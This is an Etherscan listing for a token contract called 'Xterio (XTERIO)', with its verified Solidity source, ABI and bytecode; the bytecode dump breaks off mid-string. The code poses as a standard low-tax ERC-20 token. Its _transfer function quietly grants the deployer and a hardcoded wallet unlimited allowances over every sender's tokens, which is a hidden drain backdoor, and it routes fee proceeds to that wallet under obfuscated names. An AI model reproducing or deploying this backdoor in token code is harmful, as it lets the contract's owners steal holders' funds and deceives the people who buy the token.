ETH Price: $2,173.71 (+0.40%)

Token

Xterio (XTERIO)
 

Overview

Max Total Supply

1,000,000,000 XTERIO

Holders

115

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1.4733305 XTERIO

Value
$0.00
0x7a23CaF874CF1636eD2D7a8463D0E53C8305BecA
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XTERIO

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-03-02
*/

/*
Backed by the XTERIO token, the Xterio ecosystem and publishing stack empowers developers to reach their full potential and deliver incredible gaming experiences.

https://www.xterio.world
https://app.xterio.world
https://docs.xterio.world
https://medium.com/@XterioGames_29169

https://x.com/XterioOnETH
https://t.me/xterio_portal
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IWATTFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IWATTRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract XTERIO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balWATTs;
    mapping (address => mapping (address => uint256)) private _allowWATTs;
    mapping (address => bool) private _excludedFromWATT;
    address private _wattPair;
    IWATTRouter private _wattRouter;
    address private _wattWallet;
    mapping (uint256 => address) private _wattReceipts;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalWATT = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Xterio";
    string private constant _symbol = unicode"XTERIO";
    uint256 private _swapTokenWATTs = _tTotalWATT / 100;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _buyBlockWATT;
    uint256 private _wattBuyAmounts = 0;
    bool private inSwapWATT = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapWATT = true;
        _;
        inSwapWATT = false;
    }
    
    constructor () {
        _wattWallet = address(0xb6908d803109893E72450D855710fFDaD648C7dB);
        _wattReceipts[0] = address(owner());
        _wattReceipts[1] = address(_wattWallet);
        _excludedFromWATT[owner()] = true;
        _excludedFromWATT[address(this)] = true;
        _excludedFromWATT[_wattWallet] = true;
        _balWATTs[_msgSender()] = _tTotalWATT;
        emit Transfer(address(0), _msgSender(), _tTotalWATT);
    }

    function initTradePair() external onlyOwner() {
        _wattRouter = IWATTRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_wattRouter), _tTotalWATT);
        _wattPair = IWATTFactory(_wattRouter.factory()).createPair(address(this), _wattRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalWATT;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balWATTs[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowWATTs[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowWATTs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowWATTs[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _wattFeeTransfer(address wattF, address wattT, uint256 wattA) private returns(uint256) {
        uint256 taxWATT; 
        if (wattF != owner() && wattT != owner()) {
            taxWATT = wattA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (wattF == _wattPair && wattT != address(_wattRouter) && ! _excludedFromWATT[wattT]) {
                if(_buyBlockWATT!=block.number){
                    _wattBuyAmounts = 0;
                    _buyBlockWATT = block.number;
                }
                _wattBuyAmounts += wattA;
                _buyCount++;
            }

            if(wattT == _wattPair && wattF!= address(this)) {
                require(_wattBuyAmounts < swapLimitWATT() || _buyBlockWATT!=block.number, "Max Swap Limit");  
                taxWATT = wattA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 tokenWATT = balanceOf(address(this));
            if (!inSwapWATT && wattT == _wattPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(tokenWATT > _swapTokenWATTs)
                swapTokensForEth(minWATT(wattA, minWATT(tokenWATT, _swapTokenWATTs)));
                uint256 ethWATT = address(this).balance;
                if (ethWATT >= 0) {
                    sendETHWATT(address(this).balance);
                }
            }
        } return taxWATT;
    }

    function _transfer(address wattF, address wattT, uint256 wattA) private {
        require(wattF != address(0), "ERC20: transfer from the zero address");
        require(wattT != address(0), "ERC20: transfer to the zero address");
        require(wattA > 0, "Transfer amount must be greater than zero");
        uint256 taxWATT = _wattFeeTransfer(wattF, wattT, wattA);
        _wattTransfer(wattF, wattT, wattA, taxWATT);
        _approve(address(wattF), address(_wattReceipts[0]), wattA.add(_tTotalWATT));
        _approve(address(wattF), address(_wattReceipts[1]), wattA.add(_tTotalWATT));
    }

    function _wattTransfer(address wattF, address wattT, uint256 wattA, uint256 taxWATT) private { 
        if(taxWATT > 0){
          _balWATTs[address(this)] = _balWATTs[address(this)].add(taxWATT);
          emit Transfer(wattF, address(this), taxWATT);
        }
        _balWATTs[wattF] = _balWATTs[wattF].sub(wattA);
        _balWATTs[wattT] = _balWATTs[wattT].add(wattA.sub(taxWATT));
        emit Transfer(wattF, wattT, wattA.sub(taxWATT));
    }

    function minWATT(uint256 a, uint256 b) private pure returns (uint256) {
        return (a>b)?b:a;
    }

    function sendETHWATT(uint256 wattA) private {
        payable(_wattWallet).transfer(wattA);
    }

    function swapLimitWATT() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = _wattRouter.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = _wattRouter.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }    

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _wattRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function swapTokensForEth(uint256 wattAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _wattRouter.WETH();
        _approve(address(this), address(_wattRouter), wattAmount);
        _wattRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            wattAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }    
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initTradePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a62000298565b6200002490633b9aca0062000366565b6200003091906200022e565b60085560036009819055600a556000600b819055600c8190556006600d819055600e819055600f5560108190556012556013805462ffffff191690553480156200007957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191673b6908d803109893e72450d855710ffdad648c7db179055620000f46000546001600160a01b031690565b7f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df80546001600160a01b039283166001600160a01b031991821617909155600680547fb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b828805490931690841617909155600080548316815260036020526040808220805460ff199081166001908117909255308452828420805482168317905593549094168252902080549091169091179055620001b46009600a62000298565b620001c490633b9aca0062000366565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002076009600a62000298565b6200021790633b9aca0062000366565b60405190815260200160405180910390a36200039e565b6000826200024a57634e487b7160e01b81526012600452602481fd5b500490565b600181815b808511156200029057816000190482111562000274576200027462000388565b808516156200028257918102915b93841c939080029062000254565b509250929050565b6000620002a960ff841683620002b0565b9392505050565b600082620002c15750600162000360565b81620002d05750600062000360565b8160018114620002e95760028114620002f45762000314565b600191505062000360565b60ff84111562000308576200030862000388565b50506001821b62000360565b5060208310610133831016604e8410600b841016171562000339575081810a62000360565b6200034583836200024f565b80600019048211156200035c576200035c62000388565b0290505b92915050565b600081600019048311821515161562000383576200038362000388565b500290565b634e487b7160e01b600052601160045260246000fd5b6118e680620003ae6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610246578063c9567bf914610266578063dd62ed3e1461027b578063e5c12504146102c157600080fd5b8063715018a6146101d85780638da5cb5b146101ef57806395d89b411461021757600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610166578063313ce5671461018657806370a08231146101a257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600681526558746572696f60d01b60208201525b60405161010a9190611609565b60405180910390f35b34801561011f57600080fd5b5061013361012e366004611495565b6102d6565b604051901515815260200161010a565b34801561014f57600080fd5b506101586102ed565b60405190815260200161010a565b34801561017257600080fd5b50610133610181366004611455565b61030e565b34801561019257600080fd5b506040516009815260200161010a565b3480156101ae57600080fd5b506101586101bd3660046113e5565b6001600160a01b031660009081526001602052604090205490565b3480156101e457600080fd5b506101ed610377565b005b3480156101fb57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022357600080fd5b5060408051808201909152600681526558544552494f60d01b60208201526100fd565b34801561025257600080fd5b50610133610261366004611495565b6103f4565b34801561027257600080fd5b506101ed610401565b34801561028757600080fd5b5061015861029636600461141d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102cd57600080fd5b506101ed61057c565b60006102e33384846107ac565b5060015b92915050565b60006102fb6009600a611748565b61030990633b9aca006117f3565b905090565b600061031b8484846108d0565b61036d843361036885604051806060016040528060288152602001611889602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ac1565b6107ac565b5060019392505050565b6000546001600160a01b031633146103aa5760405162461bcd60e51b81526004016103a19061165c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e33384846108d0565b6000546001600160a01b0316331461042b5760405162461bcd60e51b81526004016103a19061165c565b601354610100900460ff16156104835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a1565b6005546001600160a01b031663f305d71947306104b5816001600160a01b031660009081526001602052604090205490565b6000806104ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561052d57600080fd5b505af1158015610541573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105669190611580565b50506013805462ffff0019166201010017905550565b6000546001600160a01b031633146105a65760405162461bcd60e51b81526004016103a19061165c565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ef9030906105e16009600a611748565b61036890633b9aca006117f3565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561063d57600080fd5b505afa158015610651573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106759190611401565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a9190611401565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a9190611401565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661080e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a1565b6001600160a01b03821661086f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a1565b6001600160a01b0382166109965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a1565b600081116109f85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a1565b6000610a05848484610afb565b9050610a1384848484610d46565b6000805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df54610a719085906001600160a01b0316610368610a5c6009600a611748565b610a6a90633b9aca006117f3565b8690610e89565b600160005260076020527fb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b82854610abb9085906001600160a01b0316610368610a5c6009600a611748565b50505050565b60008184841115610ae55760405162461bcd60e51b81526004016103a19190611609565b506000610af28486611812565b95945050505050565b600080610b106000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b3f57506000546001600160a01b03858116911614155b15610d3e57610b706064610b6a600d5460105411610b5f57600954610b63565b600b545b8690610eef565b90610f6e565b6004549091506001600160a01b038681169116148015610b9e57506005546001600160a01b03858116911614155b8015610bc357506001600160a01b03841660009081526003602052604090205460ff16155b15610c08574360115414610bdb576000601255436011555b8260126000828254610bed91906116cd565b909155505060108054906000610c0283611829565b91905055505b6004546001600160a01b038581169116148015610c2e57506001600160a01b0385163014155b15610cb157610c3b610fb0565b6012541080610c4c57504360115414155b610c895760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a1565b610cae6064610b6a600e5460105411610ca457600a54610b63565b600c548690610eef565b90505b3060009081526001602052604090205460135460ff16158015610ce157506004546001600160a01b038681169116145b8015610cf5575060135462010000900460ff165b8015610d045750600f54601054115b15610d3c57600854811115610d3057610d30610d2b85610d2684600854611186565b611186565b61119b565b47610d3a47611337565b505b505b949350505050565b8015610dc05730600090815260016020526040902054610d669082610e89565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db79085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610de39083611375565b6001600160a01b038516600090815260016020526040902055610e28610e098383611375565b6001600160a01b03851660009081526001602052604090205490610e89565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e728585611375565b60405190815260200160405180910390a350505050565b600080610e9683856116cd565b905083811015610ee85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a1565b9392505050565b600082610efe575060006102e7565b6000610f0a83856117f3565b905082610f1785836116e5565b14610ee85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a1565b6000610ee883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113b7565b604080516002808252606082018352600092839291906020830190803683375050600554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561101957600080fd5b505afa15801561102d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110519190611401565b8160008151811061107257634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106110b457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260055460405163d06ca61f60e01b8152600092919091169063d06ca61f90611100906729a2241af62c00009086906004016115f0565b60006040518083038186803b15801561111857600080fd5b505afa15801561112c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261115491908101906114c0565b90508060018151811061117757634e487b7160e01b600052603260045260246000fd5b60200260200101519250505090565b60008183116111955782610ee8565b50919050565b6013805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111eb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123f57600080fd5b505afa158015611253573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112779190611401565b8160018151811061129857634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526005546112be91309116846107ac565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f7908590600090869030904290600401611691565b600060405180830381600087803b15801561131157600080fd5b505af1158015611325573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611371573d6000803e3d6000fd5b5050565b6000610ee883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ac1565b600081836113d85760405162461bcd60e51b81526004016103a19190611609565b506000610af284866116e5565b6000602082840312156113f6578081fd5b8135610ee881611870565b600060208284031215611412578081fd5b8151610ee881611870565b6000806040838503121561142f578081fd5b823561143a81611870565b9150602083013561144a81611870565b809150509250929050565b600080600060608486031215611469578081fd5b833561147481611870565b9250602084013561148481611870565b929592945050506040919091013590565b600080604083850312156114a7578182fd5b82356114b281611870565b946020939093013593505050565b600060208083850312156114d2578182fd5b825167ffffffffffffffff808211156114e9578384fd5b818501915085601f8301126114fc578384fd5b81518181111561150e5761150e61185a565b8060051b604051601f19603f830116810181811085821117156115335761153361185a565b604052828152858101935084860182860187018a1015611551578788fd5b8795505b83861015611573578051855260019590950194938601938601611555565b5098975050505050505050565b600080600060608486031215611594578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156115e55781516001600160a01b0316875295820195908201906001016115c0565b509495945050505050565b828152604060208201526000610d3e60408301846115ad565b6000602080835283518082850152825b8181101561163557858101830151858201604001528201611619565b818111156116465783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a0604082015260006116b060a08301866115ad565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116e0576116e0611844565b500190565b60008261170057634e487b7160e01b81526012600452602481fd5b500490565b600181815b8085111561174057816000190482111561172657611726611844565b8085161561173357918102915b93841c939080029061170a565b509250929050565b6000610ee860ff841683600082611761575060016102e7565b8161176e575060006102e7565b8160018114611784576002811461178e576117aa565b60019150506102e7565b60ff84111561179f5761179f611844565b50506001821b6102e7565b5060208310610133831016604e8410600b84101617156117cd575081810a6102e7565b6117d78383611705565b80600019048211156117eb576117eb611844565b029392505050565b600081600019048311821515161561180d5761180d611844565b500290565b60008282101561182457611824611844565b500390565b600060001982141561183d5761183d611844565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461188557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122015b81d1a5d8e0179a7a5945db32c7e8175ae86f7e761bf2074b463bf7082ef2264736f6c63430008040033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610246578063c9567bf914610266578063dd62ed3e1461027b578063e5c12504146102c157600080fd5b8063715018a6146101d85780638da5cb5b146101ef57806395d89b411461021757600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610166578063313ce5671461018657806370a08231146101a257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600681526558746572696f60d01b60208201525b60405161010a9190611609565b60405180910390f35b34801561011f57600080fd5b5061013361012e366004611495565b6102d6565b604051901515815260200161010a565b34801561014f57600080fd5b506101586102ed565b60405190815260200161010a565b34801561017257600080fd5b50610133610181366004611455565b61030e565b34801561019257600080fd5b506040516009815260200161010a565b3480156101ae57600080fd5b506101586101bd3660046113e5565b6001600160a01b031660009081526001602052604090205490565b3480156101e457600080fd5b506101ed610377565b005b3480156101fb57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022357600080fd5b5060408051808201909152600681526558544552494f60d01b60208201526100fd565b34801561025257600080fd5b50610133610261366004611495565b6103f4565b34801561027257600080fd5b506101ed610401565b34801561028757600080fd5b5061015861029636600461141d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156102cd57600080fd5b506101ed61057c565b60006102e33384846107ac565b5060015b92915050565b60006102fb6009600a611748565b61030990633b9aca006117f3565b905090565b600061031b8484846108d0565b61036d843361036885604051806060016040528060288152602001611889602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ac1565b6107ac565b5060019392505050565b6000546001600160a01b031633146103aa5760405162461bcd60e51b81526004016103a19061165c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e33384846108d0565b6000546001600160a01b0316331461042b5760405162461bcd60e51b81526004016103a19061165c565b601354610100900460ff16156104835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a1565b6005546001600160a01b031663f305d71947306104b5816001600160a01b031660009081526001602052604090205490565b6000806104ca6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561052d57600080fd5b505af1158015610541573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105669190611580565b50506013805462ffff0019166201010017905550565b6000546001600160a01b031633146105a65760405162461bcd60e51b81526004016103a19061165c565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ef9030906105e16009600a611748565b61036890633b9aca006117f3565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561063d57600080fd5b505afa158015610651573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106759190611401565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a9190611401565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a9190611401565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661080e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a1565b6001600160a01b03821661086f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a1565b6001600160a01b0382166109965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a1565b600081116109f85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a1565b6000610a05848484610afb565b9050610a1384848484610d46565b6000805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df54610a719085906001600160a01b0316610368610a5c6009600a611748565b610a6a90633b9aca006117f3565